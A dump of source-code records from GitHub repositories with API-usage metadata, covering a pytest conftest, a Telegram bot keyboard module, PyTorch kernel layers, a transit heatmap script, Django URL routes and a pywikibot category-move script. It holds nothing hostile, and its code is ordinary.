20, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 22, "usage_type": "call"}]} {"seq_id": "8126201458", "text": "import click.testing\nimport pytest\nimport pathlib\nimport cards.cli\nimport shlex\nfrom collections import namedtuple\n\n\n@pytest.fixture()\ndef db_empty(tmpdir, monkeypatch):\n fake_home = pathlib.Path(str(tmpdir.mkdir('fake_home')))\n\n class FakePathLibPath():\n def home(self):\n return fake_home\n\n monkeypatch.setattr(cards.cli.pathlib, 'Path', FakePathLibPath)\n\n\n@pytest.fixture()\ndef cards_cli():\n runner = click.testing.CliRunner()\n\n def _invoke_cards(input_string):\n input_list = shlex.split(input_string)\n return runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()\n\n return _invoke_cards\n\n\n@pytest.fixture()\ndef db_non_empty(db_empty, cards_cli):\n cards_cli('add \"first item\"')\n cards_cli('add \"second item\"')\n cards_cli('add \"third item\"')\n\n\nItem = namedtuple('Item', ['id', 'owner', 'priority', 'done', 'summary'])\n\n\ndef items_from_output(output):\n \"\"\"\n Turn a tabulate output into a tuple of headers and rows\n assuming the output was formatted in the \"jira\" style\n \"\"\"\n lines = output.split('\\n')\n values = [[item.strip()\n for item in row.split('|')[1:-1]] for row in lines[1:]]\n items = [Item(*v) for v in values]\n return items\n\n\n@pytest.fixture()\ndef cards_cli_list_items():\n '''\n Just like cards_cli fixture, with different output.\n Returns detabulated items.\n '''\n\n runner = click.testing.CliRunner()\n\n def _invoke_cards(input_string):\n input_list = shlex.split(input_string)\n if 'list' in input_list:\n input_list.append('--format=jira')\n output = runner.invoke(cards.cli.cards_cli, input_list).output.rstrip()\n return items_from_output(output)\n\n return _invoke_cards\n", "repo_name": "Dipana/cards", "sub_path": "tests/cli/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 17, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 9, "usage_type": "call"}, {"api_name": "click.testing.testing.CliRunner", "line_number": 22, "usage_type": "call"}, {"api_name": "click.testing.testing", "line_number": 22, "usage_type": "attribute"}, {"api_name": "click.testing", "line_number": 22, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 25, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 26, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 38, "usage_type": "call"}, {"api_name": "click.testing.testing.CliRunner", "line_number": 60, "usage_type": "call"}, {"api_name": "click.testing.testing", "line_number": 60, "usage_type": "attribute"}, {"api_name": "click.testing", "line_number": 60, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 63, "usage_type": "call"}, {"api_name": "cards.cli.cli", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cards.cli", "line_number": 66, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 53, "usage_type": "call"}]} {"seq_id": "7452905291", "text": "import json\nimport typing\n\nfrom aiogram import types\nfrom utils import messages\nfrom utils.models import User\n\nfrom aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, \\\n InlineKeyboardButton\n\n\nclass KeyboardManager:\n def __init__(self):\n pass\n\n def getMainKeyboard(self, user: User):\n keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)\n if user.admin_mode:\n # admin keyboard\n keyboard.add(messages.broadcast)\n keyboard.add(messages.update_db)\n keyboard.add(messages.votes)\n keyboard.add(messages.questions)\n keyboard.add(messages.registrations)\n keyboard.add(messages.turn_off_admin)\n else:\n keyboard.add(messages.score_request, messages.daily_report, messages.promocode)\n if user.is_admin:\n keyboard.add(messages.turn_on_admin)\n return keyboard\n\n def getVoteKeyboard(self, vote_id: int, choices):\n vote_keyboard = InlineKeyboardMarkup()\n\n for choice in choices:\n data = json.dumps({\"type\": \"vote\", \"id\": vote_id, \"choice\": choice.get_id()})\n vote_keyboard.add(InlineKeyboardButton(text=choice.name, callback_data=data))\n\n return vote_keyboard\n\n def getRegistrationKeyboard(self, registration_id: int, options):\n registration_keyboard = InlineKeyboardMarkup()\n\n for option in options:\n data = json.dumps({\"type\": \"registration\", \"id\": registration_id, \"option\": option.get_id()})\n registration_keyboard.add(InlineKeyboardButton(text=option.title, callback_data=data))\n\n return registration_keyboard\n\n def getVotesListKeyboard(self, votes):\n votes_list = InlineKeyboardMarkup()\n\n for vote in votes:\n data = {\"type\": \"vote_select\", \"id\": vote.id}\n votes_list.add(InlineKeyboardButton(text=vote.title, callback_data=json.dumps(data)))\n\n data = {\"type\": \"vote_select\", \"id\": -1}\n votes_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n return votes_list\n\n def getQuestionsListKeyboard(self, questions):\n questions_list = InlineKeyboardMarkup()\n\n for question in questions:\n data = {\"type\": \"question_select\", \"id\": question.id}\n questions_list.add(InlineKeyboardButton(text=question.title, callback_data=json.dumps(data)))\n\n data = {\"type\": \"question_select\", \"id\": -1}\n questions_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n return questions_list\n\n def getRegistrationsKeyboard(self, registrations):\n registrations_list = InlineKeyboardMarkup()\n\n for registration in registrations:\n data = {\"type\": \"registration_select\", \"id\": registration.id}\n registrations_list.add(InlineKeyboardButton(text=registration.title, callback_data=json.dumps(data)))\n\n data = {\"type\": \"registration_select\", \"id\": -1}\n registrations_list.add(InlineKeyboardButton(text=messages.cancel, callback_data=json.dumps(data)))\n\n return registrations_list\n\n def getAnswerKeyboard(self, question_id: int):\n answerkeyboard = InlineKeyboardMarkup()\n data = dict(type=\"answer\", id=question_id)\n answerkeyboard.add(InlineKeyboardButton(text=messages.answer, callback_data=json.dumps(data)))\n return answerkeyboard\n\n\n\n def getCancelKeyboard(self):\n keyboard = types.reply_keyboard.ReplyKeyboardMarkup(resize_keyboard=True)\n keyboard.add(messages.cancel)\n return keyboard\n", "repo_name": "SumJest/unlockbot", "sub_path": "utils/keyboards.py", "file_name": "keyboards.py", "file_ext": "py", "file_size_in_byte": 3670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "utils.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "aiogram.types.reply_keyboard.ReplyKeyboardMarkup", "line_number": 17, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard", "line_number": 17, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 17, "usage_type": "name"}, {"api_name": "utils.messages.broadcast", "line_number": 20, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 20, "usage_type": "name"}, {"api_name": "utils.messages.update_db", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 21, "usage_type": "name"}, {"api_name": "utils.messages.votes", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 22, "usage_type": "name"}, {"api_name": "utils.messages.questions", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.messages.registrations", "line_number": 24, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.messages.turn_off_admin", "line_number": 25, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 25, "usage_type": "name"}, {"api_name": "utils.messages.score_request", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 27, "usage_type": "name"}, {"api_name": "utils.messages.daily_report", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages.promocode", "line_number": 27, "usage_type": "attribute"}, {"api_name": "utils.messages.turn_on_admin", "line_number": 29, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 29, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 36, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 37, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 42, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 46, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 51, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 55, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 58, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 58, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 58, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 58, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 63, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 67, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 67, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 70, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 70, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 75, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 79, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 79, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 82, "usage_type": "call"}, {"api_name": "utils.messages.cancel", "line_number": 82, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 82, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 82, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 87, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.messages.answer", "line_number": 89, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 89, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 89, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard.ReplyKeyboardMarkup", "line_number": 95, "usage_type": "call"}, {"api_name": "aiogram.types.reply_keyboard", "line_number": 95, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 95, "usage_type": "name"}, {"api_name": "utils.messages.cancel", "line_number": 96, "usage_type": "attribute"}, {"api_name": "utils.messages", "line_number": 96, "usage_type": "name"}]} {"seq_id": "42019098557", "text": "from core_components import Layer\nfrom torch_kernels import RBFKernel\nfrom torch import matmul\nfrom torch.nn import Identity, Linear, Flatten\n\nclass KernelLayer(Layer):\n \"\"\"\n A class representing a kernel layer for use in machine learning models.\n\n This class inherits from the `Layer` base class and provides an implementation of the `forward`\n method for computing the output of the layer using a kernel function.\n\n Attributes:\n K (Kernel): An instance of a kernel object used to compute the kernel matrix.\n flatten (Flatten): An instance of a flatten object used to flatten the output tensor.\n keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n forward propagation.\n matmul (callable): A function for matrix multiplication.\n \"\"\"\n\n def __init__(self, \n kernel=RBFKernel, \n kernel_kwargs={}, \n keep_track=False) -> None:\n \"\"\"\n Initializes a new `KernelLayer` object with the specified kernel function and arguments.\n\n Parameters:\n kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to\n `RBFKernel`.\n kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.\n Defaults to an empty dictionary.\n keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n forward propagation. Defaults to False.\n\n Returns:\n None.\n \"\"\"\n \n super().__init__()\n self.K = kernel(**kernel_kwargs)\n self.flatten = Flatten()\n self.keep_track = keep_track\n self.matmul = matmul\n\n def forward(self, A, B=None, C=None):\n \"\"\"\n Computes the output of the layer using the kernel function and input data.\n\n Parameters:\n A (numpy.ndarray): An array of shape `(n_samples_A, n_features)` representing the input data\n for the layer.\n B (numpy.ndarray or None): An array of shape `(n_samples_B, n_features)` representing the\n first set of data to use for computing the kernel matrix. If None, `B` is set to `A`.\n Defaults to None.\n C (numpy.ndarray or None): An array of shape `(n_samples_C, n_features)` representing the\n second set of data to use for computing the kernel matrix. If None, `C` is set to `A`.\n Defaults to None.\n\n Returns:\n A numpy array of shape `(n_samples_A, n_samples_B)` representing the output of the layer.\n If `keep_track` is True, the output is a tuple containing the output tensor and the kernel\n matrix used to compute it.\n \"\"\"\n \n if B is None:\n B = A \n\n if C is None:\n C = A\n\n ## It would be better formulate it in such a way that the reshape is\n ## not needed; for this, the kernel method needs to be adjusted\n A = A.reshape(A.shape[0], 1, A.shape[1])\n B = B.reshape(B.shape[0], B.shape[1], 1)\n C = C.reshape(C.shape[0], C.shape[1], 1)\n\n k = self.K.forward(B, C)\n\n ## is there to keep track of the kernel when working on interpretation\n if self.keep_track:\n return [self.flatten(self.matmul(A, k)), k]\n\n return self.flatten(self.matmul(A, k))\n\n def _get_components(self) -> list:\n return [self.K]\n \n\nclass KernelBlock(Layer):\n \"\"\"\n A class representing a kernel block layer for use in machine learning models.\n\n This class inherits from the `Layer` base class and provides an implementation of the `forward`\n method for computing the output of the layer using a kernel function.\n\n Attributes:\n kernel_layer (KernelLayer): An instance of a kernel layer object used to compute the kernel matrix.\n activation_function (Activation): An instance of an activation function object used to apply an\n activation function to the linear outputs before computing the kernel matrix.\n input_shape (tuple): A tuple representing the shape of the input data.\n output_shape (tuple): A tuple representing the shape of the output data.\n method (str): A string representing the method used to compute the output of the layer. Must be\n one of \"A\", \"AB\", or \"ABC\".\n keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n forward propagation.\n \"\"\"\n\n def __init__(self, \n input_shape, \n output_shape, \n kernel=RBFKernel, \n kernel_kwargs={}, \n activation=Identity, \n method=\"A\", \n normalize=False,\n keep_track=False) -> None:\n \"\"\"\n Initializes a new `KernelBlock` object with the specified input and output shapes, kernel\n function, activation function, method, and arguments.\n\n Parameters:\n input_shape (tuple): A tuple representing the shape of the input data.\n output_shape (tuple): A tuple representing the shape of the output data.\n kernel (Kernel): The kernel function to use for computing the kernel matrix. Defaults to\n `RBFKernel`.\n kernel_kwargs (dict): A dictionary of keyword arguments to pass to the kernel function.\n Defaults to an empty dictionary.\n activation (Activation): The activation function to apply to the linear outputs before\n computing the kernel matrix. Defaults to `Identity`.\n method (str): The method to use for computing the output of the layer. Must be one of \"A\",\n \"AB\", or \"ABC\". Defaults to \"A\".\n keep_track (bool): A boolean indicating whether to keep track of the kernel matrix during\n forward propagation. Defaults to False.\n\n Returns:\n None.\n \"\"\"\n super().__init__()\n\n self.kernel_layer = KernelLayer(kernel=kernel, kernel_kwargs=kernel_kwargs, keep_track=keep_track)\n self.activation_function = activation()\n self.input_shape = input_shape\n self.output_shape = output_shape\n self.method = method\n\n self.keep_track = keep_track\n\n ## ========================================================================== ##\n if method == \"A\":\n self.linear_A = Linear(self.input_shape, self.output_shape)\n\n def forward(x):\n A = self.linear_A.forward(x)\n if self.normalize:\n A = A / A.std()\n sA = self.activation_function(A)\n return self.kernel_layer.forward(sA, A, A)\n self.forward = forward\n\n ## ========================================================================== ##\n elif method == \"AB\":\n self.linear_A = Linear(self.input_shape, self.output_shape)\n self.linear_B = Linear(self.input_shape, self.output_shape)\n\n def forward(x):\n A = self.linear_A.forward(x)\n B = self.linear_B.forward(x)\n if self.normalize:\n A = A / A.std()\n B = B / B.std()\n sA = self.activation_function(A)\n return self.kernel_layer.forward(sA, B, B)\n self.forward = forward\n \n ## ========================================================================== ##\n elif method == \"ABC\":\n self.linear_A = Linear(self.input_shape, self.output_shape)\n self.linear_B = Linear(self.input_shape, self.output_shape)\n self.linear_C = Linear(self.input_shape, self.output_shape)\n\n def forward(x):\n A = self.linear_A.forward(x)\n B = self.linear_B.forward(x)\n C = self.linear_C.forward(x)\n if self.normalize:\n A = A / A.std()\n B = B / B.std()\n C = C / C.std()\n sA = self.activation_function(A)\n return self.kernel_layer.forward(sA, B, C)\n self.forward = forward\n\n ## ========================================================================== ##\n else:\n raise ValueError(f\"method must be either 'A', 'AB', or 'ABC', got {method} instead\")\n \n def _get_components(self) -> list:\n return [self.kernel_layer]\n \n \n", "repo_name": "PimSchoolkateUPC/Deep-Kernel-Learning", "sub_path": "src/utils/kernel_layers.py", "file_name": "kernel_layers.py", "file_ext": "py", "file_size_in_byte": 8388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "core_components.Layer", "line_number": 6, "usage_type": "name"}, {"api_name": "torch_kernels.RBFKernel", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 44, "usage_type": "name"}, {"api_name": "core_components.Layer", "line_number": 90, "usage_type": "name"}, {"api_name": "torch_kernels.RBFKernel", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.Identity", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}]} {"seq_id": "18267590344", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport math\r\nfrom collections import Counter\r\nimport datetime\r\nfrom random import choice\r\nimport matplotlib.pyplot as plt\r\nfrom Practice.heatmap.image_annotated_heatmap import heatmap, annotate_heatmap\r\n\r\n\r\nstarttime = datetime.datetime.now()\r\n\r\n# pd.set_option('display.height',1000)\r\npd.set_option('display.width',1000)\r\npd.set_option('display.max_rows',500)\r\npd.set_option('display.max_columns',500)\r\n\r\ndef SCD_Prediction():\r\n\r\n print ('system start')\r\n print ('reading data ...')\r\n # ==== start of reading trips ====\r\n # inFile = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\userAttribute.csv'\r\n # userAttribute_df = pd.read_csv(inFile,index_col=0)\r\n inFile2 = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\true_data\\userTrueTrips_oneWK.csv'\r\n userTrueTrips_df = pd.read_csv(inFile2)\r\n # inFile3 = r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\data\\userPredictionTrips_6.csv'\r\n # userPredictionTrips_df = pd.read_csv(inFile3)\r\n # ==== end of reading trips ====\r\n print ('end of reading data')\r\n # print(userTrueTrips_df)\r\n # print(userPredictionTrips_df)\r\n\r\n print('dealing data...')\r\n inStation_ls = list(set(list(userTrueTrips_df['inStation'])))\r\n # inStation_ls = list(set(list(userTrueTrips_df['outStation']))) # outFlow\r\n # print(inStation_ls)\r\n # print(len(inStation_ls))\r\n in_df = pd.DataFrame(index=inStation_ls)\r\n in_df['inFlow'] = 0\r\n for i in range(len(userTrueTrips_df)):\r\n in_df.loc[userTrueTrips_df.iloc[i,4],'inFlow'] += 1\r\n # in_df.loc[userTrueTrips_df.iloc[i,5],'inFlow'] += 1 # outFlow\r\n in_df2 = in_df.sort_values(by='inFlow',ascending=False)\r\n inStationSort_ls = list(in_df2.index)\r\n # print(in_df2)\r\n # print(inStationSort_ls)\r\n\r\n data = []\r\n for i in ['20170619','20170620','20170621','20170622','20170623','20170624','20170625']:\r\n for j in [x for x in range(6,23)]:\r\n a = i + '--' + '{}'.format(j)\r\n data.append(a)\r\n inFlow_df = pd.DataFrame(index=inStationSort_ls,columns=data)\r\n # print(inFlow_df)\r\n for i in data:\r\n inFlow_df['{}'.format(i)] = 0.0\r\n # print(inFlow_df)\r\n for i in range(len(userTrueTrips_df)):\r\n if i % 10000 == 0:\r\n print(i,'/',len(userTrueTrips_df))\r\n # if i == 1000:\r\n # break\r\n if userTrueTrips_df.iloc[i,2] >= 230000:\r\n # print(userTrueTrips_df.iloc[i,:])\r\n continue\r\n # s = '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))\r\n # print(s)\r\n # print(type(s))\r\n inFlow_df.loc[userTrueTrips_df.iloc[i,4],\r\n '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1\r\n # inFlow_df.loc[userTrueTrips_df.iloc[i,5],\r\n # '{}'.format(userTrueTrips_df.iloc[i,1])+'--'+'{}'.format(int(userTrueTrips_df.iloc[i,2]/10000))] +=1 # outFlow\r\n # print(inFlow_df)\r\n inFlow_ay = np.array(inFlow_df)\r\n inFlow_ay = inFlow_ay.T\r\n print(inFlow_ay)\r\n for i in range(len(inFlow_ay)):\r\n for j in range(len(inFlow_ay[i])):\r\n if inFlow_ay[i][j] == 0:\r\n continue\r\n inFlow_ay[i][j] = math.log(inFlow_ay[i][j],10)\r\n print(inFlow_ay)\r\n print('end of deal data')\r\n\r\n print('plot...')\r\n row_label = data\r\n col_label = inStationSort_ls\r\n\r\n fig = plt.figure(figsize=(75,20))\r\n im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title=\"Stations Inflow Heatmap (station ranked by total volume)\",cmap= 'OrRd',cbarlabel='Station Inflow [log10()]')\r\n # im, cbar = heatmap(inFlow_ay,row_labels=row_label,col_labels=col_label,title=\"Stations Outflow Heatmap (station ranked by total volume)\",cmap= 'OrRd',cbarlabel='Station Outflow [log10()]') # outFlow\r\n\r\n plt.tight_layout()\r\n plt.savefig(r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\result\\heatmap_StationInflow.png',dpi=150)\r\n # plt.savefig(r'G:\\Program\\Pycharm Projects\\File of Python3\\SCD_System\\result\\heatmap_StationOutflow.png',dpi=150) # outFlow\r\n plt.show()\r\n print('end of plot')\r\n\r\nSCD_Prediction()\r\n\r\nendtime = datetime.datetime.now()\r\nprint ('time:',(endtime - starttime).seconds,'s')\r\nusetime = (endtime - starttime).seconds\r\nh = int(usetime / 3600)\r\nm = int((usetime - 3600 * h) / 60)\r\ns = usetime - 3600 * h -60 * m\r\nprint('time:',h,'h',m,'m',s,'s')\r\n", "repo_name": "ChenYu0723/SCD_System", "sub_path": "code/SCD_Statistics3.0.py", "file_name": "SCD_Statistics3.0.py", "file_ext": "py", "file_size_in_byte": 4544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pandas.set_option", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "math.log", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "Practice.heatmap.image_annotated_heatmap.heatmap", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 104, "usage_type": "attribute"}]} {"seq_id": "15257179237", "text": "from django.conf.urls import patterns, include, url\nfrom accounts.views import register,save_details,loginview,updateview,deleteview,logoutview,index\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'flat.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls),name='admin'),\n url(r'^register/', register, name='register'),\n url(r'^save/',save_details,name='save'),\n url(r'login/',loginview,name='login'),\n url(r'^update/',updateview,name='update'),\n url(r'^logout/',logoutview,name='logout'),\n url(r'^delete/',deleteview,name='delete'),\n url(r'^$',index,name='index')\n)\n", "repo_name": "ajnovice/flat_django", "sub_path": "flat/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 4, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "accounts.views.register", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "accounts.views.save_details", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "accounts.views.loginview", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "accounts.views.updateview", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "accounts.views.logoutview", "line_number": 16, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "accounts.views.deleteview", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "accounts.views.index", "line_number": 18, "usage_type": "argument"}]} {"seq_id": "21537976691", "text": "import pywikibot\nimport json, traceback\n\nbatch_filename_ptrn = \"ميدياويكي:عطاشة6.خدمة{}.json\"\n\nBATCH_NUMBER = int(input(\"Batch number: \"))\n\nbatch_filename = batch_filename_ptrn.format(BATCH_NUMBER)\n\nTASK_NAME = batch_filename.split(':')[1][:-5]\n\nMOVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+\"تحويل تصنيف\"\nSAVE_MESSAGE = '[['+batch_filename+'|'+TASK_NAME+']]: '+\"تعويض سمية د تصنيف\"\n\n\ndef read_json(site):\n batch = pywikibot.Page(site,batch_filename)\n\n jason = json.loads(batch.text)\n\n return jason\n\ndef to_move(source_cat, target_cat):\n \"\"\"\n Checks if the category source_cat should be moved or not.\n The two conditions\n 1- source_cat should not be a redirect page\n 2- target_cat should not already exist\n \"\"\"\n if source_cat.isCategoryRedirect(): #do not move a category redirect\n return False\n if len(list(target_cat.members())) == 0 or target_cat != \"\": #do not move to a category that has members or that has content\n return True\n return False\n\n\nsite = pywikibot.Site()\n\njason = read_json(site)\n\nfor i in range(len(jason)):\n\n source_cat_title = jason[i][\"source_cat\"]\n target_cat_title = jason[i][\"target_cat\"]\n\n\n\n\n source_cat = pywikibot.Page(site,source_cat_title)\n\n \n if to_move(source_cat, pywikibot.Category(site,target_cat_title)):\n\n try:\n source_cat.move(target_cat_title,MOVE_MESSAGE)\n \n except:\n print(\"could not transfer cat \"+source_cat.title())\n print(traceback.format_exc())\n \n source_cat = pywikibot.Category(site,source_cat_title)\n\n \n print(len(list(source_cat.backlinks())))\n for page in source_cat.backlinks():\n page.text = page.text.replace(source_cat_title,target_cat_title)\n page.save(SAVE_MESSAGE)\n\n\n print(len(list(source_cat.members())))\n for page in source_cat.members():\n page.text = page.text.replace(source_cat_title,target_cat_title)\n page.save(SAVE_MESSAGE)\n", "repo_name": "maurusian/DarijaBot", "sub_path": "Task 6 - category transfer/move_cat.py", "file_name": "move_cat.py", "file_ext": "py", "file_size_in_byte": 2023, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pywikibot.Page", "line_number": 17, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 19, "usage_type": "call"}, {"api_name": "pywikibot.Site", "line_number": 37, "usage_type": "call"}, {"api_name": "pywikibot.Page", "line_number": 49, "usage_type": "call"}, {"api_name": "pywikibot.Category", "line_number": 52, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 59, "usage_type": "call"}, {"api_name": "pywikibot.Category", "line_number": 61, "usage_type": "call"}]} 